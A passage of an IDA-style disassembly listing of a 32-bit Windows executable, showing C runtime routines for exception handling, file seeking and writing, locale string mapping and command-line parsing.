loc_422D02: ; CODE XREF: sub_422B62+6Aj
; sub_422B62+7Cj ...
call sub_422E52
loc_422D07: ; CODE XREF: sub_422B62+98j
; sub_422B62+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_422D0B: ; CODE XREF: sub_422B62+2Ej
; sub_422B62+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422B62 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422DFC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422D26 proc near ; CODE XREF: sub_422651+170p
; sub_422AF2+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278E0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_422D6D
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_422D6D
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41D29E
or [ebp+var_4], 0FFFFFFFFh
loc_422D6D: ; CODE XREF: sub_422D26+2Aj
; sub_422D26+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422D26 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422DFC
; =============== S U B R O U T I N E =======================================
sub_422D8D proc near ; CODE XREF: sub_422B62+8Fp
; sub_422B62+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_422DAE
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_422DAE: ; CODE XREF: sub_422D8D+12j
pop esi
retn
sub_422D8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422DB0 proc near ; CODE XREF: sub_41D331+40p
; sub_4228FD+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41D61D
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_422DEF
mov ecx, 2
loc_422DEF: ; CODE XREF: sub_422DB0+38j
push ecx
call sub_41D61D
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_422DB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422DFC proc near ; CODE XREF: sub_422651:loc_4227F3j
; sub_42299B:loc_4229ACj ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278F0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_4DBE74
test eax, eax
jz short loc_422E44
mov [ebp+var_4], 1
call eax
jmp short loc_422E40
; ---------------------------------------------------------------------------
loc_422E39: ; DATA XREF: .packed:00427900o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422E3D: ; DATA XREF: .packed:00427904o
mov esp, [ebp+var_18]
loc_422E40: ; CODE XREF: sub_422DFC+3Bj
and [ebp+var_4], 0
loc_422E44: ; CODE XREF: sub_422DFC+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422E4D: ; DATA XREF: .packed:004278F8o
jmp loc_424FD0
sub_422DFC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422E52 proc near ; CODE XREF: sub_41D4D3+23p
; sub_41D4D3:loc_41D53Ep ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427908
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43D444
test eax, eax
jz short loc_422E9A
mov [ebp+var_4], 1
call eax ; sub_422DFC
jmp short loc_422E96
; ---------------------------------------------------------------------------
loc_422E8F: ; DATA XREF: .packed:00427918o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422E93: ; DATA XREF: .packed:0042791Co
mov esp, [ebp+var_18]
loc_422E96: ; CODE XREF: sub_422E52+3Bj
and [ebp+var_4], 0
loc_422E9A: ; CODE XREF: sub_422E52+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422EA3: ; DATA XREF: .packed:00427910o
jmp sub_422DFC
sub_422E52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422EA8 proc near ; CODE XREF: sub_41D9B3+7p
; sub_41D9B3+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DD388
push esi
cmp eax, 3
jnz short loc_422ED1
mov esi, [ebp+arg_0]
push esi
call sub_41E717
test eax, eax
pop ecx
jz short loc_422ECE
mov eax, [esi-4]
sub eax, 9
jmp short loc_422F06
; ---------------------------------------------------------------------------
loc_422ECE: ; CODE XREF: sub_422EA8+1Cj
push esi
jmp short loc_422EF8
; ---------------------------------------------------------------------------
loc_422ED1: ; CODE XREF: sub_422EA8+Ej
cmp eax, 2
jnz short loc_422EF5
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41F472
add esp, 0Ch
test eax, eax
jz short loc_422EF5
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_422F06
; ---------------------------------------------------------------------------
loc_422EF5: ; CODE XREF: sub_422EA8+2Cj
; sub_422EA8+43j
push [ebp+arg_0]
loc_422EF8: ; CODE XREF: sub_422EA8+27j
push 0
push dword_4DD384
call dword_42704C ; RtlSizeHeap
loc_422F06: ; CODE XREF: sub_422EA8+24j
; sub_422EA8+4Bj
pop esi
leave
retn
sub_422EA8 endp
; =============== S U B R O U T I N E =======================================
sub_422F09 proc near ; CODE XREF: sub_41DA8B+67p
; sub_41F9BC+1A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4DD140
push esi
push edi
jnb short loc_422F8B
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DD040h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_422F8B
push eax
call sub_4240AA
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_422F4D
mov dword_4DBDDC, 9
jmp short loc_422F9C
; ---------------------------------------------------------------------------
loc_422F4D: ; CODE XREF: sub_422F09+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call dword_427128 ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_422F6D
call dword_427094 ; RtlGetLastWin32Error
jmp short loc_422F6F
; ---------------------------------------------------------------------------
loc_422F6D: ; CODE XREF: sub_422F09+5Aj
xor eax, eax
loc_422F6F: ; CODE XREF: sub_422F09+62j
test eax, eax
jz short loc_422F7C
push eax
call sub_420C7F
pop ecx
jmp short loc_422F9C
; ---------------------------------------------------------------------------
loc_422F7C: ; CODE XREF: sub_422F09+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_422F9F
; ---------------------------------------------------------------------------
loc_422F8B: ; CODE XREF: sub_422F09+Dj
; sub_422F09+2Aj
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_422F9C: ; CODE XREF: sub_422F09+42j
; sub_422F09+71j
or eax, 0FFFFFFFFh
loc_422F9F: ; CODE XREF: sub_422F09+80j
pop edi
pop esi
pop ebx
retn
sub_422F09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422FA3 proc near ; CODE XREF: sub_41DA8B+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_422FBF
mov [edi+4], ebx
loc_422FBF: ; CODE XREF: sub_422FA3+17j
push 1
push ebx
push esi
call sub_422F09
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_42302D
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_422FE4
sub eax, [edi+4]
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_422FE4: ; CODE XREF: sub_422FA3+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_42301E
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4DD040[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_423035
mov edx, ecx
loc_42300F: ; CODE XREF: sub_422FA3+79j
cmp edx, eax
jnb short loc_423035
cmp byte ptr [edx], 0Ah
jnz short loc_42301B
inc [ebp+var_8]
loc_42301B: ; CODE XREF: sub_422FA3+73j
inc edx
jmp short loc_42300F
; ---------------------------------------------------------------------------
loc_42301E: ; CODE XREF: sub_422FA3+50j
test dl, 80h
jnz short loc_423035
mov dword_4DBDDC, 16h
loc_42302D: ; CODE XREF: sub_422FA3+2Dj
or eax, 0FFFFFFFFh
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_423035: ; CODE XREF: sub_422FA3+68j
; sub_422FA3+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_423043
mov eax, [ebp+var_8]
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_423043: ; CODE XREF: sub_422FA3+96j
test byte ptr [edi+0Ch], 1
jz loc_4230EE
mov edx, [edi+4]
test edx, edx
jnz short loc_42305C
and [ebp+var_8], edx
jmp loc_4230EE
; ---------------------------------------------------------------------------
loc_42305C: ; CODE XREF: sub_422FA3+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_4230E8
push 2
push 0
push [ebp+var_C]
call sub_422F09
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_4230AF
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_42309A: ; CODE XREF: sub_422FA3+104j
cmp eax, ecx
jnb short loc_4230A9
cmp byte ptr [eax], 0Ah
jnz short loc_4230A6
inc [ebp+arg_0]
loc_4230A6: ; CODE XREF: sub_422FA3+FEj
inc eax
jmp short loc_42309A
; ---------------------------------------------------------------------------
loc_4230A9: ; CODE XREF: sub_422FA3+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_4230E3
; ---------------------------------------------------------------------------
loc_4230AF: ; CODE XREF: sub_422FA3+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_422F09
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_4230D6
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_4230D6
test ch, 4
jz short loc_4230D9
loc_4230D6: ; CODE XREF: sub_422FA3+124j
; sub_422FA3+12Cj
mov eax, [edi+18h]
loc_4230D9: ; CODE XREF: sub_422FA3+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_4230E3: ; CODE XREF: sub_422FA3+10Aj
jz short loc_4230E8
inc [ebp+arg_0]
loc_4230E8: ; CODE XREF: sub_422FA3+D9j
; sub_422FA3:loc_4230E3j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_4230EE: ; CODE XREF: sub_422FA3+A4j
; sub_422FA3+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_4230F6: ; CODE XREF: sub_422FA3+3Cj
; sub_422FA3+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_422FA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4230FB proc near ; CODE XREF: sub_41DB54+A2p
; sub_41E42B+2Cp ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4DD140
push esi
push edi
jnb loc_42328F
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_42328F
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_42314C
loc_423145: ; CODE XREF: sub_4230FB+177j
xor eax, eax
jmp loc_4232A3
; ---------------------------------------------------------------------------
loc_42314C: ; CODE XREF: sub_4230FB+48j
test al, 20h
jz short loc_42315C
push 2
push edi
push ecx
call sub_422F09
add esp, 0Ch
loc_42315C: ; CODE XREF: sub_4230FB+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_42322B
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_423263
loc_42317C: ; CODE XREF: sub_4230FB+F5j
lea eax, [ebp+var_414]
loc_423182: ; CODE XREF: sub_4230FB+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_4231B6
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_4231A1
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_4231A1: ; CODE XREF: sub_4230FB+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_423182
loc_4231B6: ; CODE XREF: sub_4230FB+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_4270F0 ; WriteFile
test eax, eax
jz short loc_423220
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_4231F2
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_42317C
loc_4231F2: ; CODE XREF: sub_4230FB+EAj
; sub_4230FB+12Ej
xor edi, edi
loc_4231F4: ; CODE XREF: sub_4230FB+150j
; sub_4230FB+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_42328A
cmp [ebp+arg_0], edi
jz short loc_423263
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_423258
mov dword_4DBDDC, 9
mov dword_4DBDE0, eax
jmp loc_4232A0
; ---------------------------------------------------------------------------
loc_423220: ; CODE XREF: sub_4230FB+E0j
call dword_427094 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_4231F2
; ---------------------------------------------------------------------------
loc_42322B: ; CODE XREF: sub_4230FB+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call dword_4270F0 ; WriteFile
test eax, eax
jz short loc_42324D
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_4231F4
; ---------------------------------------------------------------------------
loc_42324D: ; CODE XREF: sub_4230FB+145j
call dword_427094 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_4231F4
; ---------------------------------------------------------------------------
loc_423258: ; CODE XREF: sub_4230FB+10Fj
push [ebp+arg_0]
call sub_420C7F
pop ecx
jmp short loc_4232A0
; ---------------------------------------------------------------------------
loc_423263: ; CODE XREF: sub_4230FB+7Bj
; sub_4230FB+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_423278
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_423145
loc_423278: ; CODE XREF: sub_4230FB+16Fj
mov dword_4DBDDC, 1Ch
mov dword_4DBDE0, edi
jmp short loc_4232A0
; ---------------------------------------------------------------------------
loc_42328A: ; CODE XREF: sub_4230FB+FEj
sub eax, [ebp+var_10]
jmp short loc_4232A3
; ---------------------------------------------------------------------------
loc_42328F: ; CODE XREF: sub_4230FB+15j
; sub_4230FB+37j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_4232A0: ; CODE XREF: sub_4230FB+120j
; sub_4230FB+166j ...
or eax, 0FFFFFFFFh
loc_4232A3: ; CODE XREF: sub_4230FB+4Cj
; sub_4230FB+192j
pop edi
pop esi
pop ebx
leave
retn
sub_4230FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4232A8 proc near ; CODE XREF: sub_41DE4A+47p
; sub_41DE4A+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427928
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_4DBE78, edi
jnz short loc_42331E
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_427920
mov esi, 100h
push esi
push edi
call dword_427044 ; LCMapStringW
test eax, eax
jz short loc_4232FC
mov dword_4DBE78, ebx
jmp short loc_42331E
; ---------------------------------------------------------------------------
loc_4232FC: ; CODE XREF: sub_4232A8+4Aj
push edi
push edi
push ebx
push offset word_4CB88C
push esi
push edi
call dword_427048 ; LCMapStringA
test eax, eax
jz loc_423436
mov dword_4DBE78, 2
loc_42331E: ; CODE XREF: sub_4232A8+2Ej
; sub_4232A8+52j
cmp [ebp+arg_C], edi
jle short loc_423333
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4234CC
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_423333: ; CODE XREF: sub_4232A8+79j
mov eax, dword_4DBE78
cmp eax, 2
jnz short loc_42335A
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_427048 ; LCMapStringA
jmp loc_423438
; ---------------------------------------------------------------------------
loc_42335A: ; CODE XREF: sub_4232A8+93j
cmp eax, 1
jnz loc_423436
cmp [ebp+arg_18], edi
jnz short loc_423370
mov eax, dword_4DBE94
mov [ebp+arg_18], eax
loc_423370: ; CODE XREF: sub_4232A8+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call dword_4270E8 ; MultiByteToWideChar
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_423436
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4233CB
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_4233CB: ; CODE XREF: sub_4232A8+10Ej
cmp [ebp+var_24], edi
jz short loc_423436
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call dword_4270E8 ; MultiByteToWideChar
test eax, eax
jz short loc_423436
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_427044 ; LCMapStringW
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_423436
test byte ptr [ebp+arg_4+1], 4
jz short loc_42344A
cmp [ebp+arg_14], edi
jz loc_4234C5
cmp esi, [ebp+arg_14]
jg short loc_423436
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_427044 ; LCMapStringW
test eax, eax
jnz loc_4234C5
loc_423436: ; CODE XREF: sub_4232A8+66j
; sub_4232A8+B5j ...
xor eax, eax
loc_423438: ; CODE XREF: sub_4232A8+ADj
; sub_4232A8+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42344A: ; CODE XREF: sub_4232A8+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42347E
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_42347E: ; CODE XREF: sub_4232A8+1C2j
cmp ebx, edi
jz short loc_423436
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_427044 ; LCMapStringW
test eax, eax
jz short loc_423436
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_4234A5
push edi
push edi
jmp short loc_4234AB
; ---------------------------------------------------------------------------
loc_4234A5: ; CODE XREF: sub_4232A8+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_4234AB: ; CODE XREF: sub_4232A8+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call dword_427188 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_423436
loc_4234C5: ; CODE XREF: sub_4232A8+165j
; sub_4232A8+188j
mov eax, esi
jmp loc_423438
sub_4232A8 endp
; =============== S U B R O U T I N E =======================================
sub_4234CC proc near ; CODE XREF: sub_4232A8+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_4234E9
loc_4234DC: ; CODE XREF: sub_4234CC+1Bj
cmp byte ptr [eax], 0
jz short loc_4234E9
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_4234DC
loc_4234E9: ; CODE XREF: sub_4234CC+Ej
; sub_4234CC+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4234F4
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4234F4: ; CODE XREF: sub_4234CC+21j
mov eax, edx
retn
sub_4234CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4234F7 proc near ; CODE XREF: sub_41E1D3+E3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push [ebp+arg_0]
call sub_423638
test eax, eax
pop ecx
jz loc_42362C
mov ebx, [eax+8]
test ebx, ebx
jz loc_42362C
cmp ebx, 5
jnz short loc_423528
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_423635
; ---------------------------------------------------------------------------
loc_423528: ; CODE XREF: sub_4234F7+23j
cmp ebx, 1
jz loc_423627
mov ecx, dword_4DBE9C
mov [ebp+arg_0], ecx
mov ecx, [ebp+arg_4]
mov dword_4DBE9C, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_423617
mov ecx, dword_43D4C0
mov edx, dword_43D4C4
add edx, ecx
push esi
cmp ecx, edx
jge short loc_423577
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43D450h[esi*4]
loc_42356E: ; CODE XREF: sub_4234F7+7Ej
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_42356E
loc_423577: ; CODE XREF: sub_4234F7+69j
mov eax, [eax]
mov esi, dword_43D4CC
cmp eax, 0C000008Eh
jnz short loc_423592
mov dword_43D4CC, 83h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_423592: ; CODE XREF: sub_4234F7+8Dj
cmp eax, 0C0000090h
jnz short loc_4235A5
mov dword_43D4CC, 81h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235A5: ; CODE XREF: sub_4234F7+A0j
cmp eax, 0C0000091h
jnz short loc_4235B8
mov dword_43D4CC, 84h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235B8: ; CODE XREF: sub_4234F7+B3j
cmp eax, 0C0000093h
jnz short loc_4235CB
mov dword_43D4CC, 85h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235CB: ; CODE XREF: sub_4234F7+C6j
cmp eax, 0C000008Dh
jnz short loc_4235DE
mov dword_43D4CC, 82h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235DE: ; CODE XREF: sub_4234F7+D9j
cmp eax, 0C000008Fh
jnz short loc_4235F1
mov dword_43D4CC, 86h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235F1: ; CODE XREF: sub_4234F7+ECj
cmp eax, 0C0000092h
jnz short loc_423602
mov dword_43D4CC, 8Ah
loc_423602: ; CODE XREF: sub_4234F7+99j
; sub_4234F7+ACj ...
push dword_43D4CC
push 8
call ebx
pop ecx
mov dword_43D4CC, esi
pop ecx
pop esi
jmp short loc_42361F
; ---------------------------------------------------------------------------
loc_423617: ; CODE XREF: sub_4234F7+52j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_42361F: ; CODE XREF: sub_4234F7+11Ej
mov eax, [ebp+arg_0]
mov dword_4DBE9C, eax
loc_423627: ; CODE XREF: sub_4234F7+34j
or eax, 0FFFFFFFFh
jmp short loc_423635
; ---------------------------------------------------------------------------
loc_42362C: ; CODE XREF: sub_4234F7+Fj
; sub_4234F7+1Aj
push [ebp+arg_4]
call dword_427040 ; UnhandledExceptionFilter
loc_423635: ; CODE XREF: sub_4234F7+2Cj
; sub_4234F7+133j
pop ebx
pop ebp
retn
sub_4234F7 endp
; =============== S U B R O U T I N E =======================================
sub_423638 proc near ; CODE XREF: sub_4234F7+7p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43D4C8
cmp dword_43D448, edx
push esi
mov eax, offset dword_43D448
jz short loc_423665
lea esi, [ecx+ecx*2]
lea esi, ds:43D448h[esi*4]
loc_42365A: ; CODE XREF: sub_423638+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_423665
cmp [eax], edx
jnz short loc_42365A
loc_423665: ; CODE XREF: sub_423638+16j
; sub_423638+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43D448h[ecx*4]
cmp eax, ecx
jnb short loc_423678
cmp [eax], edx
jz short locret_42367A
loc_423678: ; CODE XREF: sub_423638+3Aj
xor eax, eax
locret_42367A: ; CODE XREF: sub_423638+3Ej
retn
sub_423638 endp
; =============== S U B R O U T I N E =======================================
sub_42367B proc near ; CODE XREF: sub_41E1D3+A5p
cmp dword_4DD394, 0
jnz short loc_423689
call sub_420B0D
loc_423689: ; CODE XREF: sub_42367B+7j
push esi
mov esi, dword_4DD38C
mov al, [esi]
cmp al, 22h
jnz short loc_4236BB
loc_423696: ; CODE XREF: sub_42367B+33j
; sub_42367B+36j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_4236B3
test al, al
jz short loc_4236B3
movzx eax, al
push eax
call sub_424FE7
test eax, eax
pop ecx
jz short loc_423696
inc esi
jmp short loc_423696
; ---------------------------------------------------------------------------
loc_4236B3: ; CODE XREF: sub_42367B+21j
; sub_42367B+25j
cmp byte ptr [esi], 22h
jnz short loc_4236C5
loc_4236B8: ; CODE XREF: sub_42367B+52j
inc esi
jmp short loc_4236C5
; ---------------------------------------------------------------------------
loc_4236BB: ; CODE XREF: sub_42367B+19j
cmp al, 20h
jbe short loc_4236C5
loc_4236BF: ; CODE XREF: sub_42367B+48j
inc esi
cmp byte ptr [esi], 20h
ja short loc_4236BF
